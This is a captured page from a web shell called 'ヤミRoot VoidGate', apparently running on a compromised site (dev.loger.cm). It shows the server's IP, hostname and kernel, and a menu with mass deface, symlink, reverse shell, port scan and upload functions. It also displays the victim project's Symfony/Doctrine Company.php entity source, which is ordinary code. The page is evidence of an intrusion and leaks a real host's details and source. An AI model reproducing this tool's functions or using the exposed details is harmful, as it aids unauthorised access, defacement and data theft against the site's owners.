ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Company.php
<?php namespace App\Entity; use App\Repository\CompanyRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; use ApiPlatform\Core\Annotation\ApiProperty; /** * @ApiResource( * iri="http://schema.org/Company", * attributes={"security"="is_granted('ROLE_USER')"}, * collectionOperations={ * "get"={"security"="is_granted('ROLE_USER')" }, * "post"={"security"="is_granted('ROLE_ADMIN')"} * }, * itemOperations={ * "get"={"security"="is_granted('ROLE_USER')" }, * "put"={"security"="is_granted('ROLE_ADMIN')" }, * "delete"={"security"="is_granted('ROLE_ADMIN')" }, * }) * @ORM\Entity(repositoryClass=CompanyRepository::class) */ class Company { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\OneToMany(targetEntity=Subscription::class, mappedBy="partner", orphanRemoval=true) */ private $subscriptions; /** * @ORM\Column(type="string", length=255) */ private $companyName; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $CompanyPhone1; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyPhone2; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyFixePhone; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyEmail; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyDomain; /** * @ORM\Column(type="text", length=2555, nullable=true) */ private $companyFacebookPage; /** * @ORM\Column(type="text", length=2555, nullable=true) */ private $companyInstagramPage; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyTwiterPage; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyLinkedinPage; /** * @ORM\Column(type="text", length=12555, nullable=true) */ private $CompanySlogan; /** * @ORM\Column(type="text", length=14055, nullable=true) */ private $companyShortDescription; /** * @ORM\Column(type="string", length=9000, nullable=true) */ private $companyFullDescription; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $companyLogoMain; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyBP; /** * @ORM\OneToMany(targetEntity=Building::class, mappedBy="company", orphanRemoval=true) */ private $buildings; /** * @ORM\OneToOne(targetEntity=Address::class, cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $address; /** * @ORM\OneToMany(targetEntity=User::class, mappedBy="company") */ private $users; /** * @ORM\OneToMany(targetEntity=FirebaseToken::class, mappedBy="company") */ private $firebaseTokens; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; public function __construct() { $this->buildings = new ArrayCollection(); $this->users = new ArrayCollection(); $this->subscriptions = new ArrayCollection(); $this->firebaseTokens = new ArrayCollection(); $this->vues=0; } public function getId(): ?int { return $this->id; } public function getCompanyName(): ?string { return $this->companyName; } public function setCompanyName(string $companyName): self { $this->companyName = $companyName; return $this; } public function getCompanyPhone1(): ?string { return $this->CompanyPhone1; } public function setCompanyPhone1(string $CompanyPhone1): self { $this->CompanyPhone1 = $CompanyPhone1; return $this; } public function getCompanyPhone2(): ?string { return $this->companyPhone2; } public function setCompanyPhone2(string $companyPhone2): self { $this->companyPhone2 = $companyPhone2; return $this; } public function getCompanyFixePhone(): ?string { return $this->companyFixePhone; } public function setCompanyFixePhone(string $companyFixePhone): self { $this->companyFixePhone = $companyFixePhone; return $this; } public function getCompanyEmail(): ?string { return $this->companyEmail; } public function setCompanyEmail(string $companyEmail): self { $this->companyEmail = $companyEmail; return $this; } public function getCompanyDomain(): ?string { return $this->companyDomain; } public function setCompanyDomain(string $companyDomain): self { $this->companyDomain = $companyDomain; return $this; } public function getCompanyFacebookPage(): ?string { return $this->companyFacebookPage; } public function setCompanyFacebookPage(string $companyFacebookPage): self { $this->companyFacebookPage = $companyFacebookPage; return $this; } public function getCompanyInstagramPage(): ?string { return $this->companyInstagramPage; } public function setCompanyInstagramPage(string $companyInstagramPage): self { $this->companyInstagramPage = $companyInstagramPage; return $this; } public function getCompanyTwiterPage(): ?string { return $this->companyTwiterPage; } public function setCompanyTwiterPage(string $companyTwiterPage): self { $this->companyTwiterPage = $companyTwiterPage; return $this; } public function getCompanyLinkedinPage(): ?string { return $this->companyLinkedinPage; } public function setCompanyLinkedinPage(string $companyLinkedinPage): self { $this->companyLinkedinPage = $companyLinkedinPage; return $this; } public function getCompanySlogan(): ?string { return $this->CompanySlogan; } public function setCompanySlogan(string $CompanySlogan): self { $this->CompanySlogan = $CompanySlogan; return $this; } public function getCompanyShortDescription(): ?string { return $this->companyShortDescription; } public function setCompanyShortDescription(string $companyShortDescription): self { $this->companyShortDescription = $companyShortDescription; return $this; } public function getCompanyFullDescription(): ?string { return $this->companyFullDescription; } public function setCompanyFullDescription(string $companyFullDescription): self { $this->companyFullDescription = $companyFullDescription; return $this; } public function getCompanyLogoMain(): ?MediaObject { return $this->companyLogoMain; } public function setCompanyLogoMain(?MediaObject $companyLogoMain): self { $this->companyLogoMain = $companyLogoMain; return $this; } public function getCompanyBP(): ?string { return $this->companyBP; } public function setCompanyBP(string $companyBP): self { $this->companyBP = $companyBP; return $this; } /** * @return Collection|Building[] */ public function getBuildings(): Collection { return $this->buildings; } public function addBuilding(Building $building): self { if (!$this->buildings->contains($building)) { $this->buildings[] = $building; $building->setCompany($this); } return $this; } public function removeBuilding(Building $building): self { if ($this->buildings->contains($building)) { $this->buildings->removeElement($building); // set the owning side to null (unless already changed) if ($building->getCompany() === $this) { $building->setCompany(null); } } return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(Address $address): self { $this->address = $address; return $this; } /** * @return Collection|User[] */ public function getUsers(): Collection { return $this->users; } public function addUser(User $user): self { if (!$this->users->contains($user)) { $this->users[] = $user; $user->setCompany($this); } return $this; } public function removeUser(User $user): self { if ($this->users->contains($user)) { $this->users->removeElement($user); // set the owning side to null (unless already changed) if ($user->getCompany() === $this) { $user->setCompany(null); } } return $this; } /** * @return Collection|Subscription[] */ public function getSubscriptions(): Collection { return $this->subscriptions; } public function addSubscription(Subscription $subscription): self { if (!$this->subscriptions->contains($subscription)) { $this->subscriptions[] = $subscription; $subscription->setPartner($this); } return $this; } public function removeSubscription(Subscription $subscription): self { if ($this->subscriptions->contains($subscription)) { $this->subscriptions->removeElement($subscription); // set the owning side to null (unless already changed) if ($subscription->getPartner() === $this) { $subscription->setPartner(null); } } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->companyName; } /** * @return Collection<int, FirebaseToken> */ public function getFirebaseTokens(): Collection { return $this->firebaseTokens; } public function addFirebaseToken(FirebaseToken $firebaseToken): self { if (!$this->firebaseTokens->contains($firebaseToken)) { $this->firebaseTokens[] = $firebaseToken; $firebaseToken->setCompany($this); } return $this; } public function removeFirebaseToken(FirebaseToken $firebaseToken): self { if ($this->firebaseTokens->removeElement($firebaseToken)) { // set the owning side to null (unless already changed) if ($firebaseToken->getCompany() === $this) { $firebaseToken->setCompany(null); } } return $this; } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } }
Coded With 💗 by
0x6ick